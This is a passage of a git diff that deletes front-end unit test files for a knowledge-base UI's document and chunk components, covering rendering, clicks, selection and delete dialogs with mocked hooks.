index 42458a95a60..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkEditDialog.test.tsx
+++ /dev/null
@@ -1,146 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentChunkEditDialog from '../KnowledgeBaseDocumentChunkEditDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleClose: vi.fn(),
-        handleContentChange: vi.fn(),
-        handleOpenChange: vi.fn(),
-        handleSave: vi.fn(),
-        mockUseKnowledgeBaseDocumentChunkEditDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentChunkEditDialog', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentChunkEditDialog,
-}));
-
-const defaultMockReturn = {
-    content: 'Test chunk content',
-    handleClose: hoisted.handleClose,
-    handleContentChange: hoisted.handleContentChange,
-    handleOpen: vi.fn(),
-    handleOpenChange: hoisted.handleOpenChange,
-    handleSave: hoisted.handleSave,
-    isPending: false,
-    open: true,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentChunkEditDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = () => {
-    return render(<KnowledgeBaseDocumentChunkEditDialog knowledgeBaseId="kb-1" />);
-};
-
-describe('KnowledgeBaseDocumentChunkEditDialog', () => {
-    it('renders the dialog when open is true', () => {
-        renderComponent();
-
-        expect(screen.getByText('Edit Chunk')).toBeInTheDocument();
-    });
-
-    it('displays the dialog description', () => {
-        renderComponent();
-
-        expect(
-            screen.getByText('Modify the text content of this chunk. Changes will be re-embedded in the vector store.')
-        ).toBeInTheDocument();
-    });
-
-    it('renders content textarea with current content', () => {
-        renderComponent();
-
-        const textarea = screen.getByRole('textbox');
-
-        expect(textarea).toHaveValue('Test chunk content');
-    });
-
-    it('renders Cancel and Save buttons', () => {
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: 'Cancel'})).toBeInTheDocument();
-        expect(screen.getByRole('button', {name: 'Save Changes'})).toBeInTheDocument();
-    });
-
-    it('calls handleSave when clicking Save Changes button', async () => {
-        renderComponent();
-
-        const saveButton = screen.getByRole('button', {name: 'Save Changes'});
-        await userEvent.click(saveButton);
-
-        expect(hoisted.handleSave).toHaveBeenCalledTimes(1);
-    });
-
-    it('calls handleClose when clicking Cancel button', async () => {
-        renderComponent();
-
-        const cancelButton = screen.getByRole('button', {name: 'Cancel'});
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleClose).toHaveBeenCalledTimes(1);
-    });
-
-    it('calls handleContentChange when typing in textarea', async () => {
-        renderComponent();
-
-        const textarea = screen.getByRole('textbox');
-        await userEvent.type(textarea, ' new text');
-
-        expect(hoisted.handleContentChange).toHaveBeenCalled();
-    });
-
-    it('disables Save button when isPending is true', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkEditDialog.mockReturnValue({
-            ...defaultMockReturn,
-            isPending: true,
-        });
-
-        renderComponent();
-
-        const saveButton = screen.getByRole('button', {name: 'Saving...'});
-
-        expect(saveButton).toBeDisabled();
-    });
-
-    it('shows Saving... text when isPending is true', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkEditDialog.mockReturnValue({
-            ...defaultMockReturn,
-            isPending: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: 'Saving...'})).toBeInTheDocument();
-    });
-
-    it('renders Content label', () => {
-        renderComponent();
-
-        expect(screen.getByText('Content')).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkEditDialog closed state', () => {
-    beforeEach(() => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkEditDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: false,
-        });
-    });
-
-    it('does not render the dialog content when open is false', () => {
-        renderComponent();
-
-        expect(screen.queryByText('Edit Chunk')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkList.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkList.test.tsx
deleted file mode 100644
index 0db15ea8d83..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkList.test.tsx
+++ /dev/null
@@ -1,156 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentChunkList from '../KnowledgeBaseDocumentChunkList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDeleteConfirm: vi.fn(),
-        handleDeleteDialogClose: vi.fn(),
-        mockUseKnowledgeBaseDocumentChunkDeleteDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentChunkDeleteDialog', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentChunkDeleteDialog,
-}));
-
-vi.mock('../KnowledgeBaseDocumentChunkEditDialog', () => ({
-    default: () => <div data-testid="edit-dialog">Edit Dialog</div>,
-}));
-
-vi.mock('../KnowledgeBaseDocumentChunkListItemDropdownMenu', () => ({
-    default: ({chunk}: {chunk: {id: string}}) => <div data-testid={`dropdown-${chunk.id}`}>Dropdown Menu</div>,
-}));
-
-vi.mock('../KnowledgeBaseDocumentChunkListItemHeader', () => ({
-    default: ({chunkId, chunkIndex}: {chunkId: string; chunkIndex: number}) => (
-        <div data-testid={`header-${chunkId}`}>Chunk {chunkIndex + 1}</div>
-    ),
-}));
-
-vi.mock('../KnowledgeBaseDocumentChunkListSelectionBar', () => ({
-    default: () => <div data-testid="selection-bar">Selection Bar</div>,
-}));
-
-vi.mock('@/components/DeleteAlertDialog', () => ({
-    default: ({onCancel, onDelete, open}: {open: boolean; onCancel: () => void; onDelete: () => void}) =>
-        open ? (
-            <div data-testid="delete-dialog">
-                <button onClick={onCancel}>Cancel</button>
-
-                <button onClick={onDelete}>Delete</button>
-            </div>
-        ) : null,
-}));
-
-const defaultMockReturn = {
-    handleClose: hoisted.handleDeleteDialogClose,
-    handleConfirm: hoisted.handleDeleteConfirm,
-    open: false,
-};
-
-const mockChunks = [
-    {content: 'First chunk content', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-    {content: 'Second chunk content', id: 'chunk-2', knowledgeBaseDocumentId: 'doc-1', metadata: {page: 1}},
-];
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentChunkDeleteDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (chunks = mockChunks) => {
-    return render(
-        <KnowledgeBaseDocumentChunkList chunks={chunks} documentName="Test Document" knowledgeBaseId="kb-1" />
-    );
-};
-
-describe('KnowledgeBaseDocumentChunkList', () => {
-    it('renders empty state when no chunks', () => {
-        renderComponent([]);
-
-        expect(screen.getByText('No chunks available for this document.')).toBeInTheDocument();
-    });
-
-    it('renders selection bar when chunks exist', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('selection-bar')).toBeInTheDocument();
-    });
-
-    it('renders all chunks', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('header-chunk-1')).toBeInTheDocument();
-        expect(screen.getByTestId('header-chunk-2')).toBeInTheDocument();
-    });
-
-    it('renders chunk content', () => {
-        renderComponent();
-
-        expect(screen.getByText('First chunk content')).toBeInTheDocument();
-        expect(screen.getByText('Second chunk content')).toBeInTheDocument();
-    });
-
-    it('renders metadata when available', () => {
-        renderComponent();
-
-        expect(screen.getByText('Metadata:')).toBeInTheDocument();
-        expect(screen.getByText('{"page":1}')).toBeInTheDocument();
-    });
-
-    it('renders dropdown menu for each chunk', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('dropdown-chunk-1')).toBeInTheDocument();
-        expect(screen.getByTestId('dropdown-chunk-2')).toBeInTheDocument();
-    });
-
-    it('renders edit dialog', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('edit-dialog')).toBeInTheDocument();
-    });
-
-    it('does not render delete dialog when closed', () => {
-        renderComponent();
-
-        expect(screen.queryByTestId('delete-dialog')).not.toBeInTheDocument();
-    });
-
-    it('renders delete dialog when open', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkDeleteDialog.mockReturnValue({
-            ...defaultMockReturn,
-            open: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkList with single chunk', () => {
-    it('renders single chunk correctly', () => {
-        renderComponent([{content: 'Only chunk', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null}]);
-
-        expect(screen.getByText('Only chunk')).toBeInTheDocument();
-        expect(screen.getByTestId('header-chunk-1')).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkList chunk without metadata', () => {
-    it('does not render metadata section when metadata is null', () => {
-        renderComponent([
-            {content: 'Chunk without metadata', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null},
-        ]);
-
-        expect(screen.queryByText('Metadata:')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemDropdownMenu.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemDropdownMenu.test.tsx
deleted file mode 100644
index 8fea5a9ea2f..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemDropdownMenu.test.tsx
+++ /dev/null
@@ -1,124 +0,0 @@
-import {KnowledgeBaseDocumentChunk} from '@/shared/middleware/graphql';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentChunkListItemDropdownMenu from '../KnowledgeBaseDocumentChunkListItemDropdownMenu';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDelete: vi.fn(),
-        handleEdit: vi.fn(),
-        mockUseKnowledgeBaseDocumentChunkListItemDropdownMenu: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentChunkListItemDropdownMenu', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentChunkListItemDropdownMenu,
-}));
-
-const mockChunk: KnowledgeBaseDocumentChunk = {
-    content: 'Test chunk content',
-    id: 'chunk-1',
-    knowledgeBaseDocumentId: 'doc-1',
-    metadata: null,
-};
-
-const defaultMockReturn = {
-    handleDelete: hoisted.handleDelete,
-    handleEdit: hoisted.handleEdit,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentChunkListItemDropdownMenu.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (chunk: KnowledgeBaseDocumentChunk = mockChunk) => {
-    return render(<KnowledgeBaseDocumentChunkListItemDropdownMenu chunk={chunk} />);
-};
-
-describe('KnowledgeBaseDocumentChunkListItemDropdownMenu', () => {
-    it('renders the dropdown trigger button', () => {
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: 'More Chunk Actions'})).toBeInTheDocument();
-    });
-
-    it('opens dropdown menu when clicking trigger', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Chunk Actions'});
-        await userEvent.click(trigger);
-
-        expect(screen.getByText('Edit')).toBeInTheDocument();
-        expect(screen.getByText('Delete')).toBeInTheDocument();
-    });
-
-    it('calls handleEdit when clicking Edit menu item', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Chunk Actions'});
-        await userEvent.click(trigger);
-
-        const editItem = screen.getByText('Edit');
-        await userEvent.click(editItem);
-
-        expect(hoisted.handleEdit).toHaveBeenCalledTimes(1);
-    });
-
-    it('calls handleDelete when clicking Delete menu item', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Chunk Actions'});
-        await userEvent.click(trigger);
-
-        const deleteItem = screen.getByText('Delete');
-        await userEvent.click(deleteItem);
-
-        expect(hoisted.handleDelete).toHaveBeenCalledTimes(1);
-    });
-
-    it('passes correct chunk to hook', () => {
-        const customChunk: KnowledgeBaseDocumentChunk = {
-            content: 'Custom content',
-            id: 'custom-chunk',
-            knowledgeBaseDocumentId: 'doc-1',
-            metadata: {page: 5},
-        };
-
-        renderComponent(customChunk);
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentChunkListItemDropdownMenu).toHaveBeenCalledWith({
-            chunk: customChunk,
-        });
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkListItemDropdownMenu menu items', () => {
-    it('Edit menu item has edit icon', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Chunk Actions'});
-        await userEvent.click(trigger);
-
-        const editMenuItem = screen.getByText('Edit').closest('[class*="dropdown-menu-item"]');
-
-        expect(editMenuItem).toBeInTheDocument();
-    });
-
-    it('Delete menu item has destructive styling', async () => {
-        renderComponent();
-
-        const trigger = screen.getByRole('button', {name: 'More Chunk Actions'});
-        await userEvent.click(trigger);
-
-        const deleteMenuItem = screen.getByText('Delete').closest('[class*="dropdown-menu-item-destructive"]');
-
-        expect(deleteMenuItem).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemHeader.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemHeader.test.tsx
deleted file mode 100644
index c50ff0c46d2..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListItemHeader.test.tsx
+++ /dev/null
@@ -1,113 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentChunkListItemHeader from '../KnowledgeBaseDocumentChunkListItemHeader';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleSelectionChange: vi.fn(),
-        mockUseKnowledgeBaseDocumentChunkListItemHeader: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentChunkListItemHeader', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentChunkListItemHeader,
-}));
-
-const defaultMockReturn = {
-    handleSelectionChange: hoisted.handleSelectionChange,
-    isSelected: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentChunkListItemHeader.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (props = {chunkId: 'chunk-1', chunkIndex: 0, documentName: 'Test Document'}) => {
-    return render(<KnowledgeBaseDocumentChunkListItemHeader {...props} />);
-};
-
-describe('KnowledgeBaseDocumentChunkListItemHeader', () => {
-    it('renders the checkbox', () => {
-        renderComponent();
-
-        expect(screen.getByRole('checkbox')).toBeInTheDocument();
-    });
-
-    it('renders the document name', () => {
-        renderComponent({chunkId: 'chunk-1', chunkIndex: 0, documentName: 'My Document'});
-
-        expect(screen.getByText('My Document')).toBeInTheDocument();
-    });
-
-    it('renders the chunk number with 1-based index', () => {
-        renderComponent({chunkId: 'chunk-1', chunkIndex: 0, documentName: 'Test Document'});
-
-        expect(screen.getByText('Chunk 1')).toBeInTheDocument();
-    });
-
-    it('renders correct chunk number for different indices', () => {
-        renderComponent({chunkId: 'chunk-5', chunkIndex: 4, documentName: 'Test Document'});
-
-        expect(screen.getByText('Chunk 5')).toBeInTheDocument();
-    });
-
-    it('checkbox is unchecked when not selected', () => {
-        renderComponent();
-
-        const checkbox = screen.getByRole('checkbox');
-
-        expect(checkbox).not.toBeChecked();
-    });
-
-    it('checkbox is checked when selected', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkListItemHeader.mockReturnValue({
-            ...defaultMockReturn,
-            isSelected: true,
-        });
-
-        renderComponent();
-
-        const checkbox = screen.getByRole('checkbox');
-
-        expect(checkbox).toBeChecked();
-    });
-
-    it('calls handleSelectionChange when checkbox is clicked', async () => {
-        renderComponent();
-
-        const checkbox = screen.getByRole('checkbox');
-        await userEvent.click(checkbox);
-
-        expect(hoisted.handleSelectionChange).toHaveBeenCalledTimes(1);
-    });
-
-    it('passes correct chunkId to hook', () => {
-        renderComponent({chunkId: 'specific-chunk', chunkIndex: 2, documentName: 'Doc'});
-
-        expect(hoisted.mockUseKnowledgeBaseDocumentChunkListItemHeader).toHaveBeenCalledWith({
-            chunkId: 'specific-chunk',
-        });
-    });
-
-    it('renders separator dot between document name and chunk number', () => {
-        renderComponent();
-
-        expect(screen.getByText('•')).toBeInTheDocument();
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkListItemHeader layout', () => {
-    it('renders document name before chunk number', () => {
-        renderComponent({chunkId: 'chunk-1', chunkIndex: 2, documentName: 'First Doc'});
-
-        expect(screen.getByText('First Doc')).toBeInTheDocument();
-        expect(screen.getByText('Chunk 3')).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListSelectionBar.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListSelectionBar.test.tsx
deleted file mode 100644
index 2d7b170a28a..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentChunkListSelectionBar.test.tsx
+++ /dev/null
@@ -1,127 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentChunkListSelectionBar from '../KnowledgeBaseDocumentChunkListSelectionBar';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleClearSelection: vi.fn(),
-        handleDeleteSelected: vi.fn(),
-        mockUseKnowledgeBaseDocumentChunkListSelectionBar: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentChunkListSelectionBar', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentChunkListSelectionBar,
-}));
-
-const defaultMockReturn = {
-    handleClearSelection: hoisted.handleClearSelection,
-    handleDeleteSelected: hoisted.handleDeleteSelected,
-    hasSelection: true,
-    selectedCount: 2,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentChunkListSelectionBar.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = () => {
-    return render(<KnowledgeBaseDocumentChunkListSelectionBar />);
-};
-
-describe('KnowledgeBaseDocumentChunkListSelectionBar', () => {
-    it('renders when there is a selection', () => {
-        renderComponent();
-
-        expect(screen.getByText('2 chunk(s) selected')).toBeInTheDocument();
-    });
-
-    it('does not render when there is no selection', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkListSelectionBar.mockReturnValue({
-            ...defaultMockReturn,
-            hasSelection: false,
-            selectedCount: 0,
-        });
-
-        renderComponent();
-
-        expect(screen.queryByText(/selected/)).not.toBeInTheDocument();
-    });
-
-    it('displays correct count for single selection', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkListSelectionBar.mockReturnValue({
-            ...defaultMockReturn,
-            selectedCount: 1,
-        });
-
-        renderComponent();
-
-        expect(screen.getByText('1 chunk(s) selected')).toBeInTheDocument();
-    });
-
-    it('displays correct count for multiple selections', () => {
-        hoisted.mockUseKnowledgeBaseDocumentChunkListSelectionBar.mockReturnValue({
-            ...defaultMockReturn,
-            selectedCount: 5,
-        });
-
-        renderComponent();
-
-        expect(screen.getByText('5 chunk(s) selected')).toBeInTheDocument();
-    });
-
-    it('renders Delete Selected button', () => {
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: /Delete Selected/})).toBeInTheDocument();
-    });
-
-    it('renders Clear Selection button', () => {
-        renderComponent();
-
-        expect(screen.getByRole('button', {name: 'Clear Selection'})).toBeInTheDocument();
-    });
-
-    it('calls handleDeleteSelected when clicking Delete Selected button', async () => {
-        renderComponent();
-
-        const deleteButton = screen.getByRole('button', {name: /Delete Selected/});
-        await userEvent.click(deleteButton);
-
-        expect(hoisted.handleDeleteSelected).toHaveBeenCalledTimes(1);
-    });
-
-    it('calls handleClearSelection when clicking Clear Selection button', async () => {
-        renderComponent();
-
-        const clearButton = screen.getByRole('button', {name: 'Clear Selection'});
-        await userEvent.click(clearButton);
-
-        expect(hoisted.handleClearSelection).toHaveBeenCalledTimes(1);
-    });
-});
-
-describe('KnowledgeBaseDocumentChunkListSelectionBar styling', () => {
-    it('Delete Selected button has destructive variant', () => {
-        renderComponent();
-
-        const deleteButton = screen.getByRole('button', {name: /Delete Selected/});
-
-        expect(deleteButton).toBeInTheDocument();
-    });
-
-    it('Clear Selection button has outline variant', () => {
-        renderComponent();
-
-        const clearButton = screen.getByRole('button', {name: 'Clear Selection'});
-
-        expect(clearButton).toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentList.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentList.test.tsx
deleted file mode 100644
index f0b3721a925..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentList.test.tsx
+++ /dev/null
@@ -1,185 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentList from '../KnowledgeBaseDocumentList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDeleteConfirm: vi.fn(),
-        handleDeleteDialogClose: vi.fn(),
-        mockUseKnowledgeBaseDocumentList: vi.fn(),
-        mockUseKnowledgeBaseDocumentListItemDeleteDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentList', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentList,
-}));
-
-vi.mock('../hooks/useKnowledgeBaseDocumentListItemDeleteDialog', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentListItemDeleteDialog,
-}));
-
-vi.mock('../KnowledgeBaseDocumentListItem', () => ({
-    default: ({document}: {document: {id: string; name: string}}) => (
-        <div data-testid={`document-item-${document.id}`}>{document.name}</div>
-    ),
-}));
-
-vi.mock('../KnowledgeBaseDocumentChunkList', () => ({
-    default: ({documentName}: {documentName: string}) => (
-        <div data-testid={`chunk-list-${documentName}`}>Chunks for {documentName}</div>
-    ),
-}));
-
-vi.mock('@/components/DeleteAlertDialog', () => ({
-    default: ({open}: {open: boolean}) => (open ? <div data-testid="delete-dialog">Delete Dialog</div> : null),
-}));
-
-vi.mock('@/components/ui/collapsible', () => ({
-    Collapsible: ({children}: {children: React.ReactNode}) => <div>{children}</div>,
-    CollapsibleContent: ({children}: {children: React.ReactNode}) => <div>{children}</div>,
-}));
-
-const mockDocuments = [
-    {
-        chunks: [{content: 'Content', id: 'chunk-1', knowledgeBaseDocumentId: 'doc-1', metadata: null}],
-        createdDate: '2024-01-01',
-        document: null,
-        id: 'doc-1',
-        name: 'Document 1',
-        status: 2,
-    },
-    {
-        chunks: [],
-        createdDate: '2024-01-02',
-        document: null,
-        id: 'doc-2',
-        name: 'Document 2',
-        status: 2,
-    },
-];
-
-const defaultListMockReturn = {
-    getRemainingTagsForDocument: vi.fn(() => []),
-    getSortedChunksForDocument: vi.fn(() => []),
-    getTagsForDocument: vi.fn(() => []),
-};
-
-const defaultDeleteDialogMockReturn = {
-    handleClose: hoisted.handleDeleteDialogClose,
-    handleConfirm: hoisted.handleDeleteConfirm,
-    open: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseDocumentList.mockReturnValue({...defaultListMockReturn});
-    hoisted.mockUseKnowledgeBaseDocumentListItemDeleteDialog.mockReturnValue({...defaultDeleteDialogMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const renderComponent = (documents = mockDocuments) => {
-    return render(<KnowledgeBaseDocumentList documents={documents} knowledgeBaseId="kb-1" />);
-};
-
-describe('KnowledgeBaseDocumentList', () => {
-    it('renders empty state when no documents', () => {
-        renderComponent([]);
-
-        expect(screen.getByText('No documents available. Upload documents to get started.')).toBeInTheDocument();
-    });
-
-    it('renders all documents', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('document-item-doc-1')).toBeInTheDocument();
-        expect(screen.getByTestId('document-item-doc-2')).toBeInTheDocument();
-    });
-
-    it('renders document names', () => {
-        renderComponent();
-
-        expect(screen.getByText('Document 1')).toBeInTheDocument();
-        expect(screen.getByText('Document 2')).toBeInTheDocument();
-    });
-
-    it('renders chunk lists for each document', () => {
-        renderComponent();
-
-        expect(screen.getByTestId('chunk-list-Document 1')).toBeInTheDocument();
-        expect(screen.getByTestId('chunk-list-Document 2')).toBeInTheDocument();
-    });
-
-    it('does not render delete dialog when closed', () => {
-        renderComponent();
-
-        expect(screen.queryByTestId('delete-dialog')).not.toBeInTheDocument();
-    });
-
-    it('renders delete dialog when open', () => {
-        hoisted.mockUseKnowledgeBaseDocumentListItemDeleteDialog.mockReturnValue({
-            ...defaultDeleteDialogMockReturn,
-            open: true,
-        });
-
-        renderComponent();
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-
-    it('calls getTagsForDocument for each document', () => {
-        const getTagsForDocument = vi.fn(() => []);
-
-        hoisted.mockUseKnowledgeBaseDocumentList.mockReturnValue({
-            ...defaultListMockReturn,
-            getTagsForDocument,
-        });
-
-        renderComponent();
-
-        expect(getTagsForDocument).toHaveBeenCalledWith('doc-1');
-        expect(getTagsForDocument).toHaveBeenCalledWith('doc-2');
-    });
-
-    it('calls getRemainingTagsForDocument for each document', () => {
-        const getRemainingTagsForDocument = vi.fn(() => []);
-
-        hoisted.mockUseKnowledgeBaseDocumentList.mockReturnValue({
-            ...defaultListMockReturn,
-            getRemainingTagsForDocument,
-        });
-
-        renderComponent();
-
-        expect(getRemainingTagsForDocument).toHaveBeenCalledWith('doc-1');
-        expect(getRemainingTagsForDocument).toHaveBeenCalledWith('doc-2');
-    });
-
-    it('calls getSortedChunksForDocument for each document', () => {
-        const getSortedChunksForDocument = vi.fn(() => []);
-
-        hoisted.mockUseKnowledgeBaseDocumentList.mockReturnValue({
-            ...defaultListMockReturn,
-            getSortedChunksForDocument,
-        });
-
-        renderComponent();
-
-        expect(getSortedChunksForDocument).toHaveBeenCalledWith('doc-1');
-        expect(getSortedChunksForDocument).toHaveBeenCalledWith('doc-2');
-    });
-});
-
-describe('KnowledgeBaseDocumentList with single document', () => {
-    it('renders single document correctly', () => {
-        renderComponent([mockDocuments[0]]);
-
-        expect(screen.getByTestId('document-item-doc-1')).toBeInTheDocument();
-        expect(screen.queryByTestId('document-item-doc-2')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItem.test.tsx b/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItem.test.tsx
deleted file mode 100644
index 66bad1f1615..00000000000
--- a/client/src/pages/automation/knowledge-base/components/knowledge-base-document-list/tests/KnowledgeBaseDocumentListItem.test.tsx
+++ /dev/null
@@ -1,210 +0,0 @@
-import {KnowledgeBaseDocument} from '@/shared/middleware/graphql';
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseDocumentListItem from '../KnowledgeBaseDocumentListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleDocumentListItemClick: vi.fn(),
-        handleDocumentListItemKeyDown: vi.fn(),
-        handleTagListClick: vi.fn(),
-        mockUseKnowledgeBaseDocumentListItem: vi.fn(),
-        mockUseKnowledgeBaseDocumentListItemTagList: vi.fn(),
-        updateTagsMutation: {mutate: vi.fn()},
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseDocumentListItem', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentListItem,
-}));
-
-vi.mock('../hooks/useKnowledgeBaseDocumentListItemTagList', () => ({
-    default: hoisted.mockUseKnowledgeBaseDocumentListItemTagList,
-}));
-
-vi.mock('../KnowledgeBaseDocumentListItemDropdownMenu', () => ({
-    default: ({documentId}: {documentId: string}) => <div data-testid={`dropdown-${documentId}`}>Dropdown</div>,
-}));
-
-vi.mock('@/shared/components/TagList', () => ({
-    default: () => <div data-testid="tag-list">Tag List</div>,
-}));
-
-vi.mock('@/components/ui/collapsible', () => ({
-    CollapsibleTrigger: ({children, ref}: {children: React.ReactNode; ref?: React.Ref<HTMLButtonElement>}) => (
-        <button data-testid="collapsible-trigger" ref={ref}>
-            {children}
-        </button>
-    ),
-}));
-
-const mockDocument: KnowledgeBaseDocument = {
-    chunks: [
